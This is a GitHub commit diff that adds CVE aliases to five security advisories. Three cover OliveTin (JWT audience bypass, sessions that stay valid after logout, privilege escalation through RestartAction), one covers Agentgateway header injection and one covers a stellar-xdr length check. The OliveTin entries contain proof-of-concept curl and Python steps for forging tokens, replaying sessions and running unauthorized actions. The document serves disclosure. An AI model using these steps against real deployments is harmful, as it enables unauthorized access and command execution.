Skip to content

Commit 188fa76

Browse files

File tree

5 files changed

+20
-10
lines changed

5 files changed

+20
-10
lines changed

advisories/github-reviewed/2026/03/GHSA-g962-2j28-3cg9/GHSA-g962-2j28-3cg9.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-g962-2j28-3cg9",
4-
"modified": "2026-03-05T20:52:12Z",
4+
"modified": "2026-03-05T22:06:47Z",
55
"published": "2026-03-05T20:52:12Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-30223"
8+
],
79
"summary": "OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes",
810
"details": "### Summary\n\nWhen JWT authentication is configured using either:\n\n- `authJwtPubKeyPath` (local RSA public key), or\n- `authJwtHmacSecret` (HMAC secret),\n\nthe configured audience value (`authJwtAud`) is not enforced during token parsing.\nAs a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.\nThis allows authentication using tokens intended for a different audience/service.\n\n### Details\n\n**Affected Code**\n\nFile: `jwt.go`\nLines: 51–59, 144–157, 161–168\n\n**Current Behavior**\n\nRemote JWKS Mode (Correct):\n```go\nreturn jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))\n```\nAudience validation is enforced.\n\nLocal Public Key Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\nHMAC Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\n**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.\n\n### PoC\n\n1. **Configure OliveTin**\n\n Use a minimal config with JWT local key authentication:\n ```yaml\n authJwtPubKeyPath: ./public.pem\n authJwtHeader: Authorization\n authJwtClaimUsername: sub\n authJwtAud: expected-audience\n\n authRequireGuestsToLogin: true\n ```\n\n2. **Generate a Wrong-Audience Token**\n ```python\n python3 - <<EOF\n import jwt, datetime\n\n with open(\"private.pem\") as f:\n key = f.read()\n\n token = jwt.encode(\n {\n \"sub\": \"low\",\n \"aud\": \"wrong-audience\", # intentionally wrong\n \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n },\n key,\n algorithm=\"RS256\"\n )\n\n print(token)\n EOF\n ```\n This prints the `$WRONG_AUD_TOKEN`.\n\n3. **Test Without Token (Baseline)**\n ```bash\n curl -i -X POST http://localhost:1337/api/WhoAmI \\\n -H 'Content-Type: application/json' \\\n -d '{}'\n ```\n Expected response:\n ```\n HTTP/1.1 401 Unauthorized\n ```\n\n4. **Test With Wrong-Audience Token**\n ```bash\n curl -i -X POST http://localhost:1337/api/WhoAmI \\\n -H 'Content-Type: application/json' \\\n -H \"Authorization: Bearer $WRONG_AUD_TOKEN\" \\\n -d '{}'\n ```\n Expected response:\n ```\n HTTP/1.1 200 OK\n {\"authenticatedUser\":\"low\",\"provider\":\"jwt\",\"usergroup\":\"\",\"acls\":[],\"sid\":\"\"}\n ```\n Authentication succeeds even though the `aud` claim is incorrect.\n\n### Impact\n\nAn attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.\n\nThis enables:\n\n- Cross-service token reuse\n- Authentication using tokens issued for other systems\n- Trust boundary violation in multi-service environments\n\nThis is particularly severe when:\n\n- OliveTin is deployed behind a centralized SSO provider\n- The same signing key is reused across services\n- Audience restrictions are relied upon for service isolation\n\nThis does **not** bypass ACL authorization.\nIt is strictly an authentication validation flaw.",
911
"severity": [

advisories/github-reviewed/2026/03/GHSA-gq2m-77hf-vwgh/GHSA-gq2m-77hf-vwgh.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-gq2m-77hf-vwgh",
4-
"modified": "2026-03-05T20:53:08Z",
4+
"modified": "2026-03-05T22:06:51Z",
55
"published": "2026-03-05T20:53:08Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-30224"
8+
],
79
"summary": "OliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session",
810
"details": "### Summary\nOliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year).\n\nAn attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.\n\nThis is a session management flaw that violates expected logout semantics.\n\n### Details\nDuring logout:\n```\n// Logout only clears browser cookie\nresponse.Header().Set(\"Set-Cookie\", localCookie.String())\n```\nHowever, the server still accepts the session:\n```\nsession := sessionStorage.Providers[provider].Sessions[sid]\n...\nreturn session\n```\nThe SID is not deleted from sessionStorage.\n\nWhy vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year).\n\nFile: [api.go](app://-/index.html?hostId=local#), [sessions.go](app://-/index.html?hostId=local#), [local.go](app://-/index.html?hostId=local#)\nLines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47\nBehavior\n- Login → receive SID cookie\n- Logout → cookie cleared client-side\n- Replay old SID manually → still authenticated\n\nExpected:\n- Logout invalidates session immediately\n\nActual:\n- Old SID remains usable until expiry\n\n### PoC\n\nMinimal config\n```\nlistenAddressSingleHTTPFrontend: 0.0.0.0:16642\nauthRequireGuestsToLogin: true\n\nauthLocalUsers:\n enabled: true\n users:\n - username: low\n usergroup: users\n password: \"$argon2id$...\"\n\nactions:\n - title: Dummy\n id: dummy\n shell: \"echo dummy\"\n```\n\n### Reproduction\n\nLogin and capture SID:\n```\nLOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"low\",\"password\":\"lowpass\"}')\n\nSID=$(printf '%s\\n' \"$LOGIN\" | awk -F'[=;]' '/olivetin-sid-local/{print $2}')\n```\nWorks before logout:\n```\ncurl -X POST http://localhost:16642/api/WhoAmI \\\n -H \"Cookie: olivetin-sid-local=$SID\"\n```\nLogout:\n```\ncurl -X POST http://localhost:16642/api/Logout \\\n -H \"Cookie: olivetin-sid-local=$SID\"\n```\nReplay old cookie:\n```\ncurl -X POST http://localhost:16642/api/WhoAmI \\\n -H \"Cookie: olivetin-sid-local=$SID\"\n```\nResult\n\nUser is still authenticated after logout.\n### Impact\nType:\n\nSession Management Flaw\n\n- Logout Bypass\n- Session Replay\n\nRisk:\n- Stolen cookies remain valid\n- Persistent unauthorized access\n- Users falsely believe logout ended the session\n\nAttack scenarios:\n- Shared computers\n- XSS/session theft\n- Proxy logs\n- Malware/browser compromise",
911
"severity": [

advisories/github-reviewed/2026/03/GHSA-p443-p7w5-2f7f/GHSA-p443-p7w5-2f7f.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-p443-p7w5-2f7f",
4-
"modified": "2026-03-05T20:53:46Z",
4+
"modified": "2026-03-05T22:06:54Z",
55
"published": "2026-03-05T20:53:46Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-30225"
8+
],
79
"summary": "OliveTin's RestartAction always runs actions as guest",
810
"details": "### Summary\nAn authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.\n\nRestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.\n\nThis vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.\n\n### Details\nAffected files:\n\nservice/internal/api/api.go\n\nservice/internal/auth/authcheck.go\n\nRelevant code in RestartAction:\n\n```\nreturn api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{\n Msg: &apiv1.StartActionRequest{\n BindingId: execReqLogEntry.GetBindingId(),\n UniqueTrackingId: req.Msg.ExecutionTrackingId,\n },\n})\n```\nAuthentication in StartAction:\n```\nauthenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)\n```\nIssue:\n\n1. RestartAction creates a new connect.Request object.\n\n2. The new request does not preserve caller headers or cookies.\n\n3. UserFromApiCall() attempts to resolve the user from the request.\n\n4. Because authentication headers are missing, it falls back to the guest user.\n\n5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.\n\n### PoC\n\nConfiguration:\n```\ndefaultPermissions:\n exec: false\n\nusers:\n - username: low\n password: lowpass\n permissions:\n exec: false\n\n - username: guest\n permissions:\n exec: true\n\nactions:\n - id: restart_bypass_action\n shell: |\n echo \"pwned\" > /tmp/olivetin_restart_bypass.txt\n```\n\nSteps to reproduce:\n\nLogin as low user\n```\nLOW_LOGIN=$(curl -sS -i -X POST \\\n http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"low\",\"password\":\"lowpass\"}')\n\nLOW_SID=$(printf '%s\\n' \"$LOW_LOGIN\" | tr -d '\\r' | \\\n awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')\n```\nAttempt direct execution (correctly blocked)\n```\nLOW_RUN=$(curl -sS -X POST \\\n http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \\\n -H 'Content-Type: application/json' \\\n -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n -d '{\"actionId\":\"restart_bypass_action\"}')\n\necho \"$LOW_RUN\"\n```\nThis should return permission denied.\n\nExtract executionTrackingId from response:\n```\nTRACKING_ID=$(printf '%s' \"$LOW_RUN\" | \\\n sed -n 's/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p' | head -n1)\n\necho \"Tracking ID: $TRACKING_ID\"\n```\nCall RestartAction:\n```\ncurl -sS -X POST \\\n http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \\\n -H 'Content-Type: application/json' \\\n -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n -d \"{\\\"executionTrackingId\\\":\\\"$TRACKING_ID\\\"}\"\n```\nVerify command executed:\n```\ncat /tmp/olivetin_restart_bypass.txt\n```\nOutput:\n```\npwned\n```\n\n### Impact\n- Privilege Escalation\n- ACL Bypass\n- Unauthorized Command Execution\n\nAny authenticated low-privilege user can execute actions they are not authorized to run if:\n- Guest has broader permissions\n- RestartAction is enabled\nBecause OliveTin actions execute system shell commands, this can lead to:\n- Arbitrary file writes\n- Sensitive data exposure\n- Potential full host compromise (depending on OliveTin runtime privileges)\n\nThis affects all deployments where:\n- guest.exec = true\n- A restricted user has exec = false\n- RestartAction endpoint is accessible",
911
"severity": [

advisories/github-reviewed/2026/03/GHSA-v2x6-wwfw-r2rq/GHSA-v2x6-wwfw-r2rq.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-v2x6-wwfw-r2rq",
4-
"modified": "2026-03-05T01:02:48Z",
4+
"modified": "2026-03-05T22:06:41Z",
55
"published": "2026-03-05T01:02:47Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-29791"
8+
],
79
"summary": "Agentgateway is missing parameter sanitization in MCP to OpenAPI conversion",
810
"details": "### Summary\n\nWhen converting MCP `tools/call` request to OpenAPI request, input path, query, and header values are not sanitized.\n\n### Details\n\nWhen using the [MCP to OpenAPI](https://agentgateway.dev/docs/standalone/latest/mcp/connect/openapi/) feature, the proxy lacks proper sanitization of input parameters in the MCP call, allowing:\n* Injection of additional path or query parameters.\n* Injection of additional headers.\n\n### Impacted Versions\n\nThis vulnerability is fixed in Agentgateway v0.12.0+. Users on older versions are recommended to upgrade to v0.12.0+.\n\nThis feature only impacts usage of the [MCP to OpenAPI](https://agentgateway.dev/docs/standalone/latest/mcp/connect/openapi/) feature\n\n### Credits\n\nAgentgateway extends its thanks to @spacewander for the report!",
911
"severity": [

advisories/github-reviewed/2026/03/GHSA-x57h-xx53-v53w/GHSA-x57h-xx53-v53w.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-x57h-xx53-v53w",
4-
"modified": "2026-03-05T20:45:46Z",
4+
"modified": "2026-03-05T22:06:44Z",
55
"published": "2026-03-05T20:45:46Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-29795"
8+
],
79
"summary": "stellar-xdr's StringM::from_str bypasses max length validation",
810
"details": "### Impact\n\n`StringM::from_str` does not validate that the input length is within the declared maximum (`MAX`). Calling `StringM::<N>::from_str(s)` where `s` is longer than `N` bytes succeeds and returns an `Ok` value instead of `Err(Error::LengthExceedsMax)`, producing a `StringM` that violates its length invariant.\n\nThis affects any code that constructs `StringM` values from string input using `FromStr` (including `str::parse`), and relies on the type's maximum length constraint being enforced. An oversized `StringM` could propagate through serialization, validation, or other logic that assumes the invariant holds.\n\nAll published versions of the `stellar-xdr` crate up to and including `v25.0.0` are affected.\n\n### Patches\n\nThe fix is merged in [#500](https://github.com/stellar/rs-stellar-xdr/pull/500). It replaces the direct `Ok(Self(b))` construction with `b.try_into()`, which routes through `TryFrom<Vec<u8>>` and properly validates the length — matching the pattern already used by `BytesM::from_str`.\n\nUsers should upgrade to the first release containing this fix once published (the next release after `v25.0.0`).\n\n### Workarounds\n\nValidate the byte length of string input before calling `StringM::from_str`, or construct `StringM` values via `StringM::try_from(s.as_bytes().to_vec())` which correctly enforces the length constraint.\n\n### References\n\n- Issue: https://github.com/stellar/rs-stellar-xdr/issues/499\n- Fix: https://github.com/stellar/rs-stellar-xdr/pull/500",
911
"severity": [

0 commit comments

Comments
 (0)